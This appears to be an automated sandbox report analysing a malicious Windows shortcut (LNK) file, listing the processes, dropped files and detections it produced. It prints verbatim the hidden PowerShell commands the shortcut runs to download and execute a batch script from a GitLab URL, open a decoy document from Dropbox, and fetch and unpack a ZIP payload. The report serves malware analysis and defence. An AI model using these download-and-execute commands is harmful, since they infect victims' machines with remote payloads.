Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_eksblowfish.pyd	Jump to dropped file

Windows shortcut file (LNK) contains suspicious command line arguments

Source: 2h2xLB9h1L.lnk

LNK file: /c powershell -Command "$u='https://gitlab.com/bose1511/mkt1511/-/raw/main/hnbose1711.bat'; $f=$env:TEMP+'\UpdateScript.bat'; Invoke-WebRequest -Uri $u -OutFile $f; Start-Process $f"

Source: C:\Windows\System32\cmd.exe	File created: C:\Windows\System32\tmp			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File created: C:\Windows\System32\tmp			Jump to behavior

Source: pip-24.0-py3-none-any.whl.22.dr

Binary or memory string: .SLN``r

Source: classification engine

Classification label: mal100.evad.winLNK@34/1041@4/2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\Document.zip

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6276:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_43yol5oq.tt4.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -Command "$u='https://gitlab.com/bose1511/mkt1511/-/raw/main/hnbose1711.bat'; $f=$env:TEMP+'\UpdateScript.bat'; Invoke-WebRequest -Uri $u -OutFile $f; Start-Process $f"

Source: Yara match	File source: Process Memory Space: cmd.exe PID: 5500, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\UpdateScript.bat, type: DROPPED

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "$u='https://gitlab.com/bose1511/mkt1511/-/raw/main/hnbose1711.bat'; $f=$env:TEMP+'\UpdateScript.bat'; Invoke-WebRequest -Uri $u -OutFile $f; Start-Process $f"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=qe97degd&dl=1', 'C:\Users\user\AppData\Local\Temp\\17_Advertising_Campaign_and_Collaboration.docx')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\17_Advertising_Campaign_and_Collaboration.docx'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/bose1511/mkt1511/-/raw/main/17Fukrun.zip', 'C:\Users\Public\Document.zip')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "$u='https://gitlab.com/bose1511/mkt1511/-/raw/main/hnbose1711.bat'; $f=$env:TEMP+'\UpdateScript.bat'; Invoke-WebRequest -Uri $u -OutFile $f; Start-Process $f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=qe97degd&dl=1', 'C:\Users\user\AppData\Local\Temp\\17_Advertising_Campaign_and_Collaboration.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\17_Advertising_Campaign_and_Collaboration.docx'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/bose1511/mkt1511/-/raw/main/17Fukrun.zip', 'C:\Users\Public\Document.zip')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FF887FC0E10 push eax; retf	15_2_00007FF887FC0E1D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FF887FC7047 push esp; retf	15_2_00007FF887FC7048
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FF887FF00BD pushad ; iretd	22_2_00007FF887FF00C1

Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4729	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5097	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5823	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4180	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1557	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4957	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4695	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3575	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6122	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\tcl\tix8.4.3\tix84.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_eksblowfish.pyd	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1816	Thread sleep count: 4729 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2240	Thread sleep count: 5097 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3372	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3004	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3856	Thread sleep count: 5823 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3972	Thread sleep count: 3000 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3056	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 748	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6732	Thread sleep count: 4180 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2296	Thread sleep count: 1557 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4392	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 604	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1944	Thread sleep count: 4957 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1944	Thread sleep count: 4695 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1556	Thread sleep time: -18446744073709540s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5084	Thread sleep count: 3575 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5644	Thread sleep count: 6122 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2784	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: powershell.exe, 00000012.00000002.1735596549.000002807F713000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: powershell.exe, 0000000F.00000002.1551427387.000001F16DCF2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: Yara match	File source: amsi64_400.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_1780.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 400, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1780, type: MEMORYSTR

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
